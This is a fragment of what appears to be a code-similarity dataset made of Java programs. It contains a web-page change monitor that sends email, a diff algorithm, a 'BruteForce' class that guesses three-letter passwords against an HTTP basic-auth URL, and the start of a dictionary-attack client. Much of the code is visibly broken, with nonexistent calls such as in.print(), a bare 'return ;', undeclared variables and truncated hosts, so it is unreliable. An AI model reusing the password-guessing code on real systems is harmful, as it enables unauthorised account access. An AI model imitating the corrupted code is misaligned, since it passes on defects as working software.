m){}\n\n\t\tmsg=msg+data;\n\n\t\ttemp1=in1.readLine();\n\n\t\tint numImg=Integer.parseInt(temp1);\n\808 \t\tif(numImg != images.length)\n\t\t\tmsg=msg+\"The number of images has chnaged.\\\809 n The number of images before was \"+numImg+\" \\n While the number of images\810 \ found now is \"+images.length+\" .\\n\";\n\t\telse\n\t\t\tmsg=msg+\" is change\811 \ in the number of images the .\\n\";\n\n\t\tString iText1=\"\",iText2=\"\";\n\812 \t\t\n\t\tfor(int i=0;i<numImg;i++)\n\t\t{\n\t\t\tout=new PrintWriter(new FileOutputStream(tempfile1));\n\813 \t\t\tout.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\814 );\n\t\t\tout.flush();\n\t\t\tout.print();\n\t\t\tout=null;\n\n\t\t\tin2=new BufferedReader(new\815 \ FileReader(tempfile1));\n\t\n\t\t\twhile (temp1.equals(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\816 +\"\\n\")==false)\n\t\t\t{\n\t\t\t\n\t\t\t\ttemp1=in1.readLine();\n\t\t\t\ttemp1=temp1+\"\817 \\n\";\n\t\t\t\ttemp2=in2.readLine();\n\t\t\t\ttemp2=temp2+\"\\n\";\n\t\t\t\t\818 iText1=iText1+temp1;\n\t\t\t\tiText2=iText2+temp2;\n\t\t\t}\n\t\t\t\n\t\t\tin2.print();\n\819 \t\t\tin2=null;\n\n\t\t\tif(iText1.equals(iText2))\n\t\t\t\tmsg=msg+\" is change\820 \ in the Image number \"+(i+1)+\". \\n\";\n\t\t\telse\n\t\t\t\tmsg=msg+\"The Image\821 \ number \"+(i+1)+\" has changed. \\n\";\n\t\t}\n\n\t\treturn msg;\n\t}\n\tprivate\822 \ String[] getImages(String text) throws IOException\n\t{\n\t\tString [] images,urls;\n\823 \t\tjava.util.ArrayList alist=new java.util.ArrayList();\n\t\tString t=\"\";\n\824 \t\tboolean img=false;\n\t\tint len=text.length();\n\t\tchar ch,last=' ';\n\t\t\825 int c=0;\n\t\twhile(c<len)\n\t\t{\n\t\t\tch=text.charAt(c);\n\t\t\tif(ch=='<')\n\826 \t\t\t{\n\t\t\t\tlast='<';\n\t\t\t\tt=\"\";\n\t\t\t}\n\t\t\tif(last=='<')\n\t\t\827 \t{\n\t\t\t\tt=\"\"+ch;\n\t\t\t\tif(c+2 < len)\n\t\t\t\t\tt=t+text.charAt(c+1)+\"\828 \"+text.charAt(c+2);\n\t\t\t\tif(t.equalsIgnoreCase(\"img\"))\n\t\t\t\t\timg=true;\n\829 \t\t\t}\n\t\t\tif(img==true)\n\t\t\t\tt=+ch;\n\t\t\tif(ch=='>')\n\t\t\t{\n\t\t\830 \t\tlast='>';\n\t\t\t\tif(img==true)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\tSystem.out.println();\n\831 \t\t\t\t\tint n=0;\n\t\t\t\t\tchar tch,tlast=' ';\n\t\t\t\t\tString imgPath=\"\832 \",tn=\"\";\n\t\t\t\t\tboolean src=false;\n\t\t\t\t\twhile(n<t.length())\n\t\t\833 \t\t\t{\n\t\t\t\t\t\ttch=t.charAt(n);\n\t\t\t\t\t\ttn=\"\"+tch;\n\t\t\t\t\t\t\834 if(src==false && tn.equalsIgnoreCase(\"s\") && (n+2)<t.length())\n\t\t\t\t\t\t\835 {\n\t\t\t\t\t\t\ttn=tn+t.charAt(n+1)+\"\"+t.charAt(n+2);\n\t\t\t\t\t\t\tif(tn.equalsIgnoreCase(\"\836 src\"))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tsrc=true;\n\t\t\t\t\t\t\t\tn+=2;\n\t\837 \t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if(src==true)\n\t\t\t\t\t\t{\n\t\838 \t\t\t\t\t\tif(tch!='\"')\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(tch==' ' && imgPath.indexOf('.')!=\839 \ -1)\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tn=t.length();\n\t\t\t\t\t\t\t\telse if(tch=='\840 \ ' || tch=='=')\n\t\t\t\t\t\t\t\t\t;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t\841 imgPath=imgPath+tch;\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\842 \t\tn++;\n\t\t\t\t\t}\n\t\t\t\t\talist.add(imgPath);\n\t\t\t\t}\n\t\t\t\timg=false;\n\843 \t\t\n\t\t\t}\n\t\t\tc++;\n\t\t}\n\t\turls=(String[])alist.toArray(new String[0]);\844 \ \n\t\timages=new String[urls.length];\n\t\tfor(int i=0;i<urls.length;i++)\n\t\845 \t{\n\t\t\tSystem.out.println(urls[i]);\n\t\t\tif(urls[i].startsWith(\"http\"\846 )==false && urls[i].startsWith(\"HTTP\")==false && urls[i].startsWith(\"/\")==false)\n\847 \t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+\"/\"\848 +urls[i]);\t\t\t\n\t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\849 \t{\n\t\t\t\t\tString f=baseURL+\"/\"+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\850 \t\t\t\t}\n\t\t\t}\n\t\t\telse if(urls[i].startsWith(\"http\")==false && urls[i].startsWith(\"\851 HTTP\")==false)\t\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(baseURL+urls[i]);\n\852 \t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\tString\853 \ f=baseURL+urls[i];\n\t\t\t\t\timages[i]=f.substring(0,f.lastIndexOf('/'));\n\854 \t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttry\n\t\t\t\t{\n\t\t\t\t\timages[i]=getResource(urls[i]);\n\855 \t\t\t\t}\n\t\t\t\tcatch(FileNotFoundException fnfe)\n\t\t\t\t{\n\t\t\t\t\timages[i]=urls[i].substring(0,urls[i].lastIndexOf('/'));\n\856 \t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t\treturn images;\n\t}\n\tprivate void log(String\857 \ pageText,String[] images) throws IOException\n {\n\t\tPrintWriter out=new\858 \ PrintWriter(new FileOutputStream(file));\n\t\tout.println(pageText);\n\t\tout.flush();\n\859 \t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\");\n\t\tout.flush();\t\860 \n\n\t\tif(images.length>0)\n\t\t{\n\t\t\tout.println(images.length+\"\");\n\t\861 \t\tout.flush();\t\n\t\t}\n\t\tfor(int i=0;i<images.length;i++)\n\t\t{\n\t\t\t\862 out.println(images[i]);\n\t\t\tout.flush();\n\t\t\tout.println(\"~!@#$%^&*()_+`1234567890-=,./';[]<>?:{}|\"\863 );\n\t\t\tout.flush();\t\t\n\t\t}\t\n\n\t}\n\n public String getResource(String\864 \ url) throws IOException\n\t{\n\t\t\t\tSystem.out.println(\"url=\"+url);\n\t\t\865 \t\tString urlData=new String(\"\");\n InputStreamReader in=new\866 \ InputStreamReader(new URL(url).openStream());\n int ch=in.print();\n\867 \ while(ch!= -1)\n {\n urlData=urlData+(char)ch;\n\868 \ ch=in.print();\n }\n\t\treturn urlData;\n\t\869 }\n\n public boolean mail (String msg) throws IOException\n {\n\870 \ boolean ret=true;\n try\n {\n \871 \ Socket csoc=new Socket(\"yallara.cs.rmit.edu.\",25);\n BufferedReader\872 \ in=new BufferedReader(new InputStreamReader(csoc.getInputStream()));\n \873 \ PrintWriter out=new PrintWriter(csoc.getOutputStream(),true);\n \874 \ out.println(\"HELO \"+host);\n System.out.println(in.readLine());\n\875 \ out.println(\"MAIL FROM:\"+from);\n System.out.println(in.readLine());\n\876 \ out.println(\"RCPT :\");\n System.out.println(in.readLine());\n\877 \ out.println(\"DATA\");\n System.out.println(in.readLine());\n\878 \ out.println(\"SUBJECT:\"+subject);\n System.out.println(in.readLine());\n\879 \ out.println(msg);\n \t out.println(\".\");\n \880 \ System.out.println(in.readLine());\n out.println(\"QUIT\");\n \881 \ System.out.println(in.readLine());\n }\n catch(Exception\882 \ e)\n {\n e.printStackTrace();\n System.out.println(\"\883 Some error occoured while communicating server\");\n ret=false;\n\884 \ \t return ret;\n }\n\t System.out.println(\"**************************************\\\885 nMAIL ->\"+msg);\n return ret;\n }\n\n\tpublic static void main\886 \ (String[] args)\n\t{\n\t\tSystem.out.println(\"Usage : \\n java WatchDog <space\887 \ seperated list of urls> <current path> [First] \\n {The First at the end is\888 \ used when running the watch dog for a new URL for the first Time}\");\n\t\t\889 boolean flag=false;\n\t\tint num=args.length-1;\n\t\tif(args[args.length-1].equalsIgnoreCase(\"\890 First\"))\n\t\t{\n\t\t\tnum--;;\n\t\t\tflag=true;\n\t\t}\nSystem.out.println(args[num]);\n\891 \n\t\tWatchDog w=new WatchDog(flag);\n\t\tString []u=new String[num];\n\t\tfor(int\892 \ i=0;i<u.length;i++)\n\t\t\tu[i]=args[i];\n\t\tw.startWatching(u,args[num]);\n\893 \t}\n}\n"894 sentences:895 - "\n\nimport java.util.Hashtable;\n\n\n\npublic class Diff {\n\n \n public Diff(Object[]\896 \ a,Object[] b) {\n Hashtable h = new Hashtable(a.length + b.length);\n \897 \ filevec[0] = new file_data(a,h);\n filevec[1] = new file_data(b,h);\n }\n\898 \n \n private int equiv_max = 1;\n\n \n public boolean heuristic = false;\n\899 \n \n public boolean no_discards = false;\n\n private int[] xvec, yvec; \900 \ \n private int[] fdiag; \n private int[] bdiag; \n private\901 \ int fdiagoff, bdiagoff;\n private final file_data[] filevec = new file_data[2];\n\902 \ private int cost;\n\n \n\n private int diag (int xoff, int xlim, int yoff,\903 \ int ylim) {\n final int[] fd = fdiag; \n final int[] bd = bdiag; \904 \ \n final int[] xv = xvec; \n final int[] yv = yvec; \905 \ \n final int dmin = xoff - ylim; \n final int dmax =\906 \ xlim - yoff; \n final int fmid = xoff - yoff; \n final int\907 \ bmid = xlim - ylim; \n int fmin = fmid, fmax = fmid; \n int\908 \ bmin = bmid, bmax = bmid; \n \n final boolean odd = (fmid - bmid\909 \ & 1) != 0; \n\n fd[fdiagoff + fmid] = xoff;\n bd[bdiagoff + bmid] = xlim;\n\910 \n for (int c = 1;; ++c)\n {\n int d; \n \911 \ boolean big_snake = false;\n\n \n if (fmin > dmin)\n \912 \ fd[fdiagoff + --fmin - 1] = -1;\n else\n ++fmin;\n \913 \ if (fmax < dmax)\n fd[fdiagoff + ++fmax + 1] = -1;\n else\n\914 \ --fmax;\n for (d = fmax; d >= fmin; d -= 2)\n {\n \915 \ int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d\916 \ + 1];\n\n if (tlo >= ylim)\n x = tlo + 1;\n \917 \ else\n x = ylim;\n oldx = x;\n y = x -\918 \ d;\n while (x < xlim && y < ylim && xv[x] == yv[y]) {\n \919 \ ++x; ++y;\n }\n if (x - oldx > 20)\n \920 \ big_snake = true;\n fd[fdiagoff + d] = x;\n if (odd &&\921 \ bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \922 \ {\n cost = 2 * c - 1;\n return d;\n \923 \ }\n }\n\n \n if (bmin > dmin)\n bd[bdiagoff\924 \ + --bmin - 1] = Integer.MAX_VALUE;\n else\n ++bmin;\n \925 \ if (bmax < dmax)\n bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;\n\926 \ else\n --bmax;\n for (d = bmax; d >= bmin; d -= 2)\n\927 \ {\n int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff\928 \ + d + 1];\n\n if (tlo < ylim)\n x = tlo;\n \929 \ else\n x = - 1;\n oldx = x;\n y = x -\930 \ d;\n while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {\n \931 \ --x; --y;\n }\n if (oldx - x > 20)\n \932 \ big_snake = true;\n bd[bdiagoff + d] = x;\n if\933 \ (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])\n \934 \ {\n cost = 2 * c;\n return d;\n \935 \ }\n }\n\n \n\n if (c > 200 && big_snake &&\936 \ heuristic)\n {\n int i = 0;\n int bestpos = -1;\n\937 \n for (d = fmax; d >= fmin; d -= 2)\n {\n \938 \ int dd = d - fmid;\n if ((fd[fdiagoff + d] - xoff)*2 - dd\939 \ > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \940 \ if (fd[fdiagoff + d] * 2 - dd > i\n && fd[fdiagoff +\941 \ d] - xoff > 20\n && fd[fdiagoff + d] - d - yoff > 20)\n\942 \ {\n int k;\n \943 \ int x = fd[fdiagoff + d];\n\n \n \944 \ for (k = 1; k <= 20; k++)\n if (xvec[x - k]\945 \ != yvec[x - d - k])\n break;\n\n \946 \ if (k == 21)\n {\n \947 \ ylim = fd[fdiagoff + d] * 2 - dd;\n bestpos =\948 \ d;\n }\n }\n \949 \ }\n }\n if ( x> 0)\n {\n \950 \ cost = 2 * c - 1;\n return bestpos;\n }\n\n \951 \ x= 0;\n for (d = bmax; d >= bmin; d -= 2)\n \952 \ {\n int dd = d - bmid;\n if ((xlim - bd[bdiagoff\953 \ + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))\n {\n \954 \ if ((xlim - bd[bdiagoff + d]) * 2 + dd > i\n \955 \ && xlim - bd[bdiagoff + d] > 20\n && x - (bd[bdiagoff\956 \ + d] - d) > 20)\n {\n \n \957 \ int k;\n int x = bd[bdiagoff + d];\n\n\958 \ for (k = 0; k < 20; k++)\n if\959 \ (xvec[x + k] != yvec[x - d + k])\n break;\n \960 \ if (k == 20)\n {\n \961 \ x = (xlim - bd[bdiagoff + d]) * 2 + dd;\n \962 \ bestpos = d;\n }\n }\n \963 \ }\n }\n if (x > 0)\n {\n\964 \ cost = 2 * c - 1;\n return bestpos;\n \965 \ }\n }\n }\n }\n\n \n\n private void compareseq (int xoff,\966 \ int xlim, int yoff, int ylim) {\n \n while (xoff < xlim && yoff < ylim\967 \ && xvec[xoff] == yvec[yoff]) {\n ++xoff; ++yoff;\n }\n \n while\968 \ (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {\n --xlim;\969 \ --x;\n }\n \n \n if (xoff == xlim)\n while (yoff < ylim)\n\970 \ filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;\n \971 \ else if (yoff == ylim)\n while (xoff < xlim)\n filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]]\972 \ = true;\n else\n {\n \n\n int d = diag (xoff, xlim, yoff,\973 \ ylim );\n int c = cost;\n int f = fdiag[fdiagoff + d];\n \974 \ int b = bdiag[bdiagoff + d];\n\n if (c == 1)\n {\n \975 \ \n throw new IllegalArgumentException(\"Empty subsequence\");\n\976 \ }\n else\n {\n \n compareseq\977 \ (xoff, b, yoff, b - d);\n \n compareseq (b, xlim, b -\978 \ d,ylim );\n }\n }\n }\n\n \n\n private void discard_confusing_lines()\979 \ {\n filevec[0].discard_confusing_lines(filevec[1]);\n filevec[1].discard_confusing_lines(filevec[0]);\n\980 \ }\n\n private boolean inhibit = false;\n\n \n\n private void shift_boundaries()\981 \ {\n if (inhibit)\n return;\n filevec[0].shift_boundaries(filevec[1]);\n\982 \ filevec[1].shift_boundaries(filevec[0]);\n }\n\n public interface ScriptBuilder\983 \ {\n \n public change build_script(\n boolean[] changed0,int len0,\n\984 \ boolean[] changed1,int len1\n );\n }\n\n \n\n static class ReverseScript\985 \ implements ScriptBuilder {\n public change build_script(\n final\986 \ boolean[] changed0,int len0,\n final boolean[] changed1,int len1)\n \987 \ {\n change script = null;\n int i0 = 0, i1 = 0;\n while (i0\988 \ < len0 || i1 < len1) {\n if (changed0[1+i0] || changed1[1+i1]) {\n \989 \ int line0 = i0, line1 = i1;\n\n \n while (changed0[1+i0])\990 \ ++i0;\n while (changed1[1+i1]) ++i1;\n\n \n \991 \ script = new change(line0, line1, i0 - line0, i1 - line1, script);\n \992 \ }\n\n \n i0++; i1++;\n }\n\n return script;\n }\n\993 \ }\n\n static class ForwardScript implements ScriptBuilder {\n \n public\994 \ change build_script(\n final boolean[] changed0,int len0,\n \995 \ final boolean[] changed1,int len1)\n {\n change script = null;\n \996 \ int i0 = len0, i1 = len1;\n\n while (i0 >= 0 || i1 >= 0)\n {\n\997 \ if (changed0[i0] || changed1[i1])\n {\n int\998 \ line0 = i0, line1 = i1;\n\n \n while (changed0[i0])\999 \ --i0;\n while (changed1[i1]) --i1;\n\n \n \1000 \ script = new change(i0, i1, line0 - i0, line1 - i1, script);\n \1001 \ }\n\n \n i0--; i1--;\n }\n\n return script;\n\1002 \ }\n }\n\n \n public final static ScriptBuilder\n forwardScript = new\1003 \ ForwardScript(),\n reverseScript = new ReverseScript();\n\n \n public final\1004 \ change diff_2(final boolean reverse) {\n return diff(reverse ? reverseScript\1005 \ : forwardScript);\n }\n\n \n public change diff(final ScriptBuilder bld)\1006 \ {\n\n \n\n discard_confusing_lines ();\n\n \n\n xvec = filevec[0].undiscarded;\n\1007 \ yvec = filevec[1].undiscarded;\n\n int diags =\n filevec[0].nondiscarded_lines\1008 \ + filevec[1].nondiscarded_lines + 3;\n fdiag = new int[diags];\n fdiagoff\1009 \ = filevec[1].nondiscarded_lines + 1;\n bdiag = new int[diags];\n bdiagoff\1010 \ = filevec[1].nondiscarded_lines + 1;\n\n compareseq (0, filevec[0].nondiscarded_lines,\n\1011 \ 0, filevec[1].nondiscarded_lines);\n fdiag = null;\n bdiag\1012 \ = null;\n\n \n\n shift_boundaries ();\n\n \n return bld.build_script(\n\1013 \ filevec[0].changed_flag,\n filevec[0].buffered_lines,\n filevec[1].changed_flag,\n\1014 \ filevec[1].buffered_lines\n );\n\n }\n\n \n\n public static class\1015 \ change {\n \n public int change ; \n \n public final int\1016 \ inserted; \n \n public final int deleted; \n \n public\1017 \ final int line0; \n \n public final int line1; \1018 \ \n\n \n public change(int line0, int line1, int deleted, int inserted,\1019 \ change old) {\n this.line0 = line0;\n this.line1 = line1;\n this.inserted\1020 \ = inserted;\n this.deleted = deleted;\n this.old = old;\n \n\1021 \ }\n }\n\n \n\n class file_data {\n\n \n void clear() {\n \n\1022 \ changed_flag = new boolean[buffered_lines + 2];\n }\n\n \n int[]\1023 \ equivCount() {\n int[] equiv_count = new int[equiv_max];\n for (int\1024 \ i = 0; i < buffered_lines; ++i)\n ++equiv_count[equivs[i]];\n return\1025 \ equiv_count;\n }\n\n \n void discard_confusing_lines(file_data f) {\n\1026 \ clear();\n \n final byte[] discarded = discardable(f.equivCount());\n\1027 \n \n filterDiscards(discarded);\n\n \n discard(discarded);\n\1028 \ }\n\n \n\n private byte[] discardable(final int[] counts) {\n \1029 \ final int end = buffered_lines;\n final byte[] discards = new byte[end];\n\1030 \ final int[] equivs = this.equivs;\n int many = 5;\n int tem =\1031 \ end / 64;\n\n \n while ((tem = tem >> 2) > 0)\n many *= 2;\n\1032 \n for (int i = 0; i < end; i++)\n {\n int nmatch;\n \1033 \ if (equivs[i] == 0)\n continue;\n nmatch = counts[equivs[i]];\n\1034 \ if (nmatch == 0)\n discards[i] = 1;\n else if (nmatch\1035 \ > many)\n discards[i] = 2;\n }\n return discards;\n \1036 \ }\n\n \n\n private void filterDiscards(final byte[] discards) {\n \1037 \ final int end = buffered_lines;\n\n for (int i = 0; i < end; i++)\n\1038 \ {\n \n if (discards[i] == 2)\n discards[i]\1039 \ = 0;\n else if (discards[i] != 0)\n {\n \1040 \ \n int j;\n int length;\n int\1041 \ provisional = 0;\n\n \n for (j = i; j < end; j++)\n\1042 \ {\n if (discards[j] == 0)\n \1043 \ break;\n if (discards[j] == 2)\n \1044 \ ++provisional;\n }\n\n \n \1045 \ while (j > i && discards[j - 1] == 2) {\n discards[--j]\1046 \ = 0; --provisional;\n }\n\n \n \1047 \ length = j - i;\n\n \n if (provisional * 4 > length)\n\1048 \ {\n while (j > i)\n \1049 \ if (discards[--j] == 2)\n discards[j] = 0;\n \1050 \ }\n else\n {\n \1051 \ int consec;\n int minimum = 1;\n int tem\1052 \ = length / 4;\n\n \n while ((tem = tem\1053 \ >> 2) > 0)\n minimum *= 2;\n minimum++;\n\1054 \n \n for (j = 0, consec = 0; j < length;\1055 \ j++)\n if (discards[i + j] != 2)\n \1056 \ consec = 0;\n else if (minimum == ++consec)\n \1057 \ \n j -= consec;\n \1058 \ else if (minimum < consec)\n discards[i + j] = 0;\n\1059 \n \n for (j = 0, consec = 0; j < length;\1060 \ j++)\n {\n if (j >= 8 && discards[i\1061 \ + j] == 1)\n break;\n if (discards[i\1062 \ + j] == 2) {\n consec = 0; discards[i + j] = 0;\n \1063 \ }\n else if (discards[i + j] ==\1064 \ 0)\n consec = 0;\n else\n \1065 \ consec++;\n if (consec == 3)\n\1066 \ break;\n }\n\n \1067 \ \n i += length - 1;\n\n \n \1068 \ for (j = 0, consec = 0; j < length; j++)\n \1069 \ {\n if (j >= 8 && discards[i - j] == 1)\n \1070 \ break;\n if (discards[i - j] == 2) {\n\1071 \ consec = 0; discards[i - j] = 0;\n \1072 \ }\n else if (discards[i - j] == 0)\n \1073 \ consec = 0;\n else\n \1074 \ consec++;\n if (consec == 3)\n \1075 \ break;\n }\n }\n \1076 \ }\n }\n }\n\n \n private void discard(final byte[] discards)\1077 \ {\n final int end = buffered_lines;\n int j = 0;\n for (int i\1078 \ = 0; i < end; ++i)\n if (no_discards || discards[i] == 0)\n \1079 \ {\n undiscarded[j] = equivs[i];\n realindexes[j++] = i;\n\1080 \ }\n else\n changed_flag[1+i] = true;\n nondiscarded_lines\1081 \ = j;\n }\n\n file_data(Object[] data,Hashtable h) {\n buffered_lines\1082 \ = data.length;\n\n equivs = new int[buffered_lines]; \n undiscarded\1083 \ = new int[buffered_lines];\n realindexes = new int[buffered_lines];\n\n\1084 \ for (int i = 0; i < data.length; ++i) {\n Integer ir = (Integer)h.get(data[i]);\n\1085 \ if (ir == null)\n h.put(data[i],new Integer(equivs[i] = equiv_max++));\n\1086 \ else\n equivs[i] = ir.intValue();\n }\n }\n\n \n\n\1087 \ void shift_boundaries(file_data f) {\n final boolean[] changed = changed_flag;\n\1088 \ final boolean[] other_changed = f.changed_flag;\n int i = 0;\n \1089 \ int j = 0;\n int i_end = buffered_lines;\n int preceding = -1;\n\1090 \ int other_preceding = -1;\n\n for (;;)\n {\n int start,\1091 \ end, other_start;\n\n \n\n while (i < i_end && !changed[1+i])\n\1092 \ {\n while (other_changed[1+j++])\n \n\1093 \ other_preceding = j;\n i++;\n }\n\n \1094 \ if (i == i_end)\n break;\n\n start = i;\n \1095 \ other_start = j;\n\n for (;;)\n {\n \n\n\1096 \ while (i < i_end && changed[1+i]) i++;\n end = i;\n\1097 \n \n\n \n\n if (end != i_end\n \1098 \ && equivs[start] == equivs[end]\n && !other_changed[1+j]\n\1099 \ && end != i_end\n && !((preceding >= 0 &&\1100 \ start == preceding)\n || (other_preceding >= 0\n \1101 \ && other_start == other_preceding)))\n {\n\1102 \ changed[1+end++] = true;\n changed[1+start++]\1103 \ = false;\n ++i;\n \n ++j;\n\1104 \ }\n else\n break;\n }\n\1105 \n preceding = i;\n other_preceding = j;\n }\n }\n\1106 \n \n final int buffered_lines;\n\n \n private final int[] equivs;\n\1107 \n \n final int[] undiscarded;\n\n \n final int[] realindexes;\n\1108 \n \n int nondiscarded_lines;\n\n \n boolean[] changed_flag;\n\1109 \n }\n}\n"1110 - "package java.httputils;\n\nimport java.io.BufferedOutputStream;\nimport java.io.FileNotFoundException;\n\1111 import java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\1112 import java.net.MalformedURLException;\nimport java.sql.Timestamp;\nimport java.util.Observable;\n\1113 \npublic class BruteForce extends Observable\n{\n \n protected Timestamp\1114 \ start;\n protected Timestamp end;\n protected String URL = \"http://localhost:8080/secret/index.html\"\1115 ;\n protected String userName = \"\";\n protected String content = \"\"\1116 ;\n protected int attempts = 0;\n protected String password;\n protected\1117 \ String fileName;\n\n public static final char[] letters =\n {\n \1118 \ 'a',\n 'b',\n 'c',\n 'd',\n \1119 \ 'e',\n 'f',\n 'g',\n 'h',\n \1120 \ 'i',\n 'j',\n 'k',\n 'l',\n 'm',\n\1121 \ 'n',\n 'o',\n 'p',\n 'q',\n \1122 \ 'r',\n 's',\n 't',\n 'u',\n \1123 \ 'v',\n 'w',\n 'x',\n 'y',\n 'z',\n\1124 \ 'A',\n 'B',\n 'C',\n 'D',\n \1125 \ 'E',\n 'F',\n 'G',\n 'H',\n \1126 \ 'I',\n 'J',\n 'K',\n 'L',\n 'M',\n\1127 \ 'N',\n 'O',\n 'P',\n 'Q',\n \1128 \ 'R',\n 'S',\n 'T',\n 'U',\n \1129 \ 'V',\n 'W',\n 'X',\n 'Y',\n 'Z',\n\1130 \ ' '};\n \n public BruteForce()\n {\n }\n\n \n public\1131 \ void process()\n {\n StringBuffer password = new StringBuffer(\"aaa\"\1132 );\n \n setStart(new Timestamp(System.currentTimeMillis()));\n\n\1133 \ for (int i = 0;\n i < letters.length - 1;\n password.setCharAt(0,\1134 \ letters[i]), i++)\n {\n for (int i2 = 0;\n \1135 \ i2 < letters.length;\n password.setCharAt(1, letters[i2]), i2++)\n\1136 \ {\n for (int i3 = 0;\n i3 < letters.length;\n\1137 \ password.setCharAt(2, letters[i3]), i3++)\n \1138 \ {\n try\n {\n \1139 \ attempts++;\n\n BasicAuthHttpRequest req =\n \1140 \ new BasicAuthHttpRequest(\n \1141 \ getURL(),\n getUserName(),\n \1142 \ password.toString().trim());\n setPassword(password.toString());\n\1143 \ setEnd(new Timestamp(System.currentTimeMillis()));\n\1144 \ setContent(req.getContent().toString());\n\n \1145 \ \n if (getFileName() != null && getFileName().length()\1146 \ > 0)\n {\n createReport();\n\1147 \ }\n return;\n \1148 \ }\n catch (MalformedURLException e)\n \1149 \ {\n e.printStackTrace();\n \1150 \ return;\n }\n catch (IOException e)\n\1151 \ {\n\n }\n }\n \1152 \ }\n }\n\n \n setEnd(new Timestamp(System.currentTimeMillis()));\n\1153 \n\n }\n\n \n public void createReport()\n {\n OutputStream\1154 \ os = null;\n try\n {\n os = new BufferedOutputStream(\n\1155 \ new FileOutputStream(getFileName(), false));\n \1156 \ os.write(printResult().getBytes());\n }\n catch (FileNotFoundException\1157 \ e)\n {\n e.printStackTrace();\n }\n catch (IOException\1158 \ e)\n {\n e.printStackTrace();\n }\n finally\n\1159 \ {\n if (os != null)\n {\n try\n\1160 \ {\n os.close();\n }\n \1161 \ catch (IOException e)\n {\n }\n \1162 \ }\n }\n }\n\n \n public String printResult()\n {\n\1163 \ StringBuffer s = new StringBuffer();\n\n s.append(\"** \" + this.getClass().getName()\1164 \ + \" Results **\\n\\n\");\n s.append(\"Password: \" + getPassword() +\1165 \ \"\\n\\n\");\n\n s.append(\"Attempts : \" + attempts + \"\\n\\n\");\n\1166 \n s.append(\n \"Time (seconds): \"\n + (getEnd().getTime()\1167 \ - getStart().getTime()) / 1000\n + \"\\n\\n\");\n s.append(\"\1168 Content: \\n\" + getContent() + \"\\n\\n\");\n\n return s.toString();\n\1169 \ }\n\n public String printUsage()\n {\n StringBuffer s = new\1170 \ StringBuffer();\n\n s.append(\"** BruteForce proper usage **\\n\\n\"\1171 );\n s.append(\n \"java ..httputils.BruteForce <URL> <UserName>\1172 \ <OutputFile - Optional>\\n\\n\");\n\n return s.toString();\n }\n\n\1173 \ public static void main(String[] args)\n {\n BruteForce bruteForce\1174 \ = new BruteForce();\n\n if (args.length < 2)\n {\n \1175 \ System.out.println(bruteForce.printUsage());\n }\n else\n \1176 \ {\n bruteForce.setURL(args[0]);\n bruteForce.setUserName(args[1]);\n\1177 \ if (args.length > 2)\n {\n bruteForce.setFileName(args[2]);\n\1178 \ }\n bruteForce.process();\n System.out.println(bruteForce.printResult());\n\1179 \ }\n }\n\n \n\n \n public Timestamp getEnd()\n {\n \1180 \ return end;\n }\n\n \n public Timestamp getStart()\n {\n \1181 \ return ;\n }\n\n \n public void setEnd(Timestamp timestamp)\n \1182 \ {\n end = timestamp;\n }\n\n \n public void setStart(Timestamp\1183 \ timestamp)\n {\n time = timestamp;\n }\n\n \n public String\1184 \ getURL()\n {\n return URL;\n }\n\n \n public void setURL(String\1185 \ string)\n {\n URL = string;\n }\n\n \n public String getUserName()\n\1186 \ {\n return userName;\n }\n\n \n public void setUserName(String\1187 \ string)\n {\n userName = string;\n }\n\n \n public String\1188 \ getContent()\n {\n return content;\n }\n\n \n public void\1189 \ setContent(String string)\n {\n content = string;\n }\n\n \n\1190 \ public String getPassword()\n {\n return password;\n }\n\n \1191 \ \n public void setPassword(String string)\n {\n password = string;\n\1192 \ }\n\n \n public String getFileName()\n {\n return fileName;\n\1193 \ }\n\n \n public void setFileName(String string)\n {\n fileName\1194 \ = string;\n }\n\n}\n"1195 - "\n\n\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\n\npublic class\1196 \ Dictionary\n{\n\n static BufferedReader in = null;\n static MyAuthenticator\1197 \ Auth = new MyAuthenticator();\n\n \n public static void main(String[] args)\1198 \ throws IOException\n {\n int tmp = 0;\n String str =\"\";\n \1199 \ Authenticator.setDefault(Auth);\n \n try\n {\n URL url =\1200 \ new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\n \n \